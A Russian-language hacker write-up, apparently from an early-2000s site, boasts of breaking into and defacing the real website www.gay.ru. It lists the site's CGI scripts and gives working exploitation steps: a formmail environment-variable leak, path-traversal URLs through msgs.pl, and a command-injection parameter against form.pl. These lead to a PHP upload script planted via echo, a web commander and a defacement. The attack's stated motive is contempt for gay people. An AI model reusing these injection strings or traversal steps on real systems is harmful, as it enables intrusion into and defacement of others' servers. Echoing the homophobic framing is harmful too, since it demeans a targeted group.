|
|
||
|
.::Находим уязвимость в CGI::. Как то одним обычным вечером у нас с interzoidом родилась мысль что-нибудь сломать. И чтобы не переносить свою агрессивность на родных и близких, мы решили поломать что-нибудь менее материальное, т.е. интернетовские хосты. Не знаю, чем это обусловилось, может быть врождённой нелюбовью ко всяким извращенцам: геям, зоофилам и т.д., но мы направили свои усилия на www.gay.ru - главный форпост голубых в интернете. Теперь о деле... CGI-сканирование не дало никаких результатов, за исключением файла robots.txt, в котором и так никакой ценной инфы не лежало. Сканирование некоторых портов - тоже. А сканировать подсеть не хотелось - www.gay.ru хостился на зеноне, а это уже не шутки. Короче, полез изучать скриптики, которые были у геев. BlackWidow никаких скриптов не нашла - сказывалось пагубное влияние robots.txt, а вручную просматривать несколько тысяч страниц не хотелось. Выход был найден, и им оказался TeleportPro. Если кто не знает, то эта прога предназначена для скачивания сайтов. В общем, поставил её на скачку и пошёл телевизор смотреть. Когда через полтора часа вернулся, большая часть html-файлов с сайта была скопирована, и путём поиска по содержимому файлов, я выявил файлы, в которых встречались слова типа cgi, pl, php и т.д. Получился у меня такой списочек скриптов: http://gay.ru/cgi-bin/advert/sputnik.pl?iframe;member=gayru http://gay.ru/cgi-bin/advert/sputnik.pl?member=gayru;banner=NonSSI;'%20banner%20+=%20'page='%20+%20random%20+%20' http://www.gay.ru/cgi-bin/to_koi.pl http://gay.ru/cgi-bin/advert/sputnik.pl?member=gayru;banner=NonSSI;page=01 http://www.gay.ru/cgi-bin/msgs/msgs.pl?messages=1 http://www.gay.ru/cgi-bin/msgs/msgs.pl?messages=1&bbs_url=http://gay.ru/science/psycholg/voron1.htm http://www.gay.ru/cgi-bin/bbs_idea.pl http://www.gay.ru/cgi-bin/bbs_work.pl http://www.gay.ru/cgi-bin/bbs_app.pl http://www.gay.ru/cgi-bin/bbs_net.pl http://www.gay.ru/cgi-bin/bbsg.pl http://www.gay.ru/cgi-bin/bbsb.pl http://www.gay.ru/cgi-bin/bbsa.pl http://www.gay.ru/cgi-bin/bbsae.pl http://www.gay.ru/cgi-bin/bbsl.pl http://www.gay.ru/cgi-bin/bbst.pl http://gay.ru/cgi-bin/h2search.pl?what= http://gay.ru/cgi-bin/advert/sputnik.pl?banner=manevr http://www.gay.ru/cgi-bin/bbs_aw.pl http://gay.ru/cgi-bin/advert/sputnik.pl?iframe;member=bludni http://www.gay.ru/cgi-bin/bbs_ap.pl http://www.gay.ru/cgi-bin/xform.pl http://www.gay.ru/cgi-bin/form.pl http://gay.ru/cgi-bin/advert/sputnik.pl?iframe;member=apatient http://gay.ru/cgi-bin/advert/sputnik.pl?member=apatient;banner=NonSSI;page=01 http://gay.ru/cgi-bin/advert/sputnik.pl?iframe;member=manevr http://www.gay.ru/cgi-bin/pcard/select-postcard.pl?id=prop01 http://www.gay.ru/cgi-bin/pcard/select-postcard.pl?id=zver04 http://www.gay.ru/cgi-bin/pcard/select-postcard.pl?id=fun06 http://www.gay.ru/cgi-bin/pcard/select-postcard.pl?id=fun10 http://www.gay.ru/cgi-bin/pcard/select-postcard.pl?id=bad04 http://www.gay.ru/cgi-bin/pcard/select-postcard.pl?id=love05 http://www.gay.ru/cgi-bin/pcard/select-postcard.pl?id=sex06 http://www.gay.ru/cgi/php/weekq_mainpage.php3 http://gay.ru/cgi/gliws.pl/templates/gliws http://www.gay.ru/cgi-bin/mailto00.pl http://www.gay.ru/cgi-bin/search/search.pl http://www.gay.ru/cgi-bin/ban.pl Получив этот список, я начал тыкаться по очереди в каждый скрипт. Тут обнаружилась одна интересная вещь: инфа, выдаваемая скриптом /cgi-bin/xform.pl, очень была похожа на инфу, которую выдаёт всем известный скрипт formmail.pl. Кстати, именно так и оказалось: xform.pl - это был просто переименованный formmail.pl версии 1.6. Версия 1.6 не обладала дырой, которая была у первой версии этого скрипта (если кто не знает, что за дырка, то посмотрите на воиде или где-нибудь ещё...). Но всё равно, это было лучше, чем ничего, т.к. можно было хотя бы достать исходник скрипта и изучить его, чем я и занялся. При первом просмотре исходника ничего подозрительно в нём не оказалось, и мне даже показалось, что через него невозможно вломиться. Но тут я обратил внимание на несколько интересных фрагментов: @Env_Report = split(/,/,$Config{'env_report'}); # Хэш %Config обозначает данные, введённые формой, а env-report - один из параметров формы. open(MAIL,"|$mailprog -t"); print MAIL "To: $Config{'recipient'}\n"; print MAIL "From: $Config{'email'} ($Config{'realname'})\n"; # Отсылка почты по указанному юзером в форме мылу. foreach $env_report (@Env_Report) { if ($ENV{$env_report}) { print MAIL "$env_report: $ENV{$env_report}\n"; } } #Самое главное из этих фрагментов - на своё мыло вместе с письмом можно получить любую переменную окружения, какую мы укажем в форме в качестве значения параметра "env_report". Пока данная дырка мне не давала ничего, но это только пока... После обнаружения этой дыры я полез тыкаться в другие скрипты, указанные в списке, и тут я наткнулся на очень интересный скрипт, который, по сути дела, и стал "решающей дырой" в этом хаке. А выглядело это так: ткнулся я по такому URL: http://www.gay.ru/cgi-bin/msgs/msgs.pl?messages=1&bbs_url=http://gay.ru/science/psycholg/voron1.htm Ну..., подумал я, похоже я наткнулся на скриптик, осуществляющий proxy-функции, т.е. сам скачивает и передаёт нам URL, который мы указали ему с параметром "bbs_url". Испытаем... Поставил я вместо http://gay.ru/science/psycholg/voron1.htm свой URL - http://www.rambler.ru. На этот запрос скрипт ругнулся, причём ругнулся очень приятным для меня сообщением: File "/bhome/part1/02/gay/www/http://www.rambler.ru" not found Выходит, я теперь могу прочитать любой файл на web-сервере, доступный мне по полномочиям. Набираю URL: msgs.pl?messages=1&bbs_url=../cgi-bin/msgs/msgs.pl и получаю ответ: File "/bhome/part1/02/gay/www/../cgi-bin/msgs/msgs.pl" not found Виртуальная папка cgi-bin на самом деле называлась по другому, и этого настоящего имени я не знал.... И вот тут мне на помощь пришла недавно обнаруженная мною дыра в xform.pl (aka formmail.pl). Ввожу в качестве переменной окружения, которую мне надо узнать, SCRIPT_FILENAME и получаю в свой почтовы ящик письмо: SCRIPT_FILENAME: /bhome/part1/02/gay/vcgi/xform.pl Ага! теперь местонахождение виртуальной папки cgi-bin известно - vcgi. И теперь пробую такой URL: msgs.pl?messages=1&bbs_url=../vcgi/msgs/msgs.pl И вот, я уже читаю исходник этого скрипта... Но ничего интересного в этом скрипте не оказалось, как и почти во всех остальных. Чтобы понять это понадобилось много времени (скриптов в списке предостаточно, как вы сами, надеюсь, заметили). Но один скриптик оказался дырявым - скрипт form.pl (не путайте с xform.pl). Вот его исходник: #!/usr/local/bin/perl -w # Code reconstruction by Dark-eye :-)) use strict; use CGI qw/:cgi/; sub bail { my $error = shift; print "Content-type: text/html< html>\n\n< body>< center>< h1>Unexpected Error Occured< /h1>< p>$error< /body>< /html>\n"; die $error; } my($list,@list); my $tmpFile=time; $tmpFile.="f.tmp"; my $current=CGI->new(); if($current->param('ac')) { my $email=$current->param('email'); my $on=$current->param('page_sub'); my $off=$current->param('page_unsub'); my $erremail=$current->param('page_err_email'); my $gen=$current->param('page_err'); if($email!~/.+@.+\..+/ || $email=~/^\./) { print "Location: $erremail\n\n"; exit 0; } foreach $list ($current->param()) { push( @list, $1 ) if $list=~/^auto_(.+)/ } # bail(join(" ",@list)); unless(@list) { print "Location: $gen\r\n\r\n"; exit 0; } foreach $list (@list) { unlink $tmpFile; open( TMP, ">$tmpFile") || bail("Error: $!\n"); print TMP "Subject: \n"; print TMP "From: <$email>\n"; if($current->param('code') eq "translit") { $list.="_eng"; } if($current->param('ac') eq "on") { $list.="-on"; } else { $list.="-off"; } print TMP "To: <$list\@gay.ru>\n"; print TMP "\n"; close(TMP); #system("/usr/sbin/sendmail $list\@gay.ru < $tmpFile") && bail("System error: $!\n"); system("/usr/sbin/sendmail $list\@gay.ru < $tmpFile"); #system("/usr/lib/sendmail dim\@gay.ru < $tmpFile"); unlink $tmpFile; } if($current->param('ac') eq "on") { print "Location: $on\r\n\r\n"; } else { print "Location: $off\r\n\r\n"; } } else { bail("Error: $!\n"); }
Работу всего скрипта объяснять не буду - те, кому это надо, сами разберутся. Остановлюсь только на ключевых моментах. Итак, сразу скажу в чём дырка. Если вместе с формой скрипту передаются параметры, имя которых начинается с "auto_", то всё, что идёт после "auto_", заносится в массив @list. Оригинально, правда?: foreach $list ($current->param()) { push( @list, $1 ) if $list=~/^auto_(.+)/ } Допустим, скрипту передаётся параметр "auto_mama+papa=me". В переменную $list[0] занесётся mama+papa. Далее, в коде есть такая вещь: system("/usr/sbin/sendmail $list\@gay.ru < $tmpFile"); Ну тут, только слепой не заметит дырку. Если мы передадим скрипту параметр auto_me@mail.ru < form.pl; echo FuckYou! >fuck.txt; mail none;", то получится такая штука: system("/usr/sbin/sendmail me@mail.ru < form.pl; echo FuckYou! >fuck.txt; mail none@gay.ru < $tmpFile"); No comments, и этим всё сказано... Далее, при помощи комманды 'echo' я собрал на серваке php-скрипт для закачки файлов (его исходник вы можете посмотреть в моей статье про php). Затем в течении пары минут на C++Builder сваял консольную прогу для перевода текста из DOS'овского формата в UNIX'овский: #pragma hdrstop #include < condefs.h> #include < fstream.h> #include < conio.h> //--------------------------------------------------------------------------- #pragma argsused int main(int argc, char* argv[]) { printf ("Written by Dark-eye\nDOS text to UNIX text converter\n"); if (argc < 3) { printf ("\nUsing:\n dos2unix.exe < source file> < target file>"); return 0; } ifstream source(argv[1], ios::binary); ofstream target(argv[2], ios::binary); source.seekg(0, ifstream::end); char cursym; int source_len = source.tellg(); source.seekg(0); for (int i=0; i < source_len; i++) { source.get(cursym); if (cursym == '\x0d') continue; target.put(cursym); } return 0; } ...обработал ею файлы commander.pl и необходимый для его работы cgi-lib.pl, закачал всё это добро на сервер, закачал php скрипт, выполняющий chmod (его исходник тоже, кстати есть в моей предыдущей статье), изменил атрибуты у коммандера. Интерзоид к тому времени подогнал классную дефейсную страницу и всё, сервер был наш!
|
| Дизайн и разработка сайта | "Проект Amega" |
© 2000-2005 Все права защищены и охраняются законом.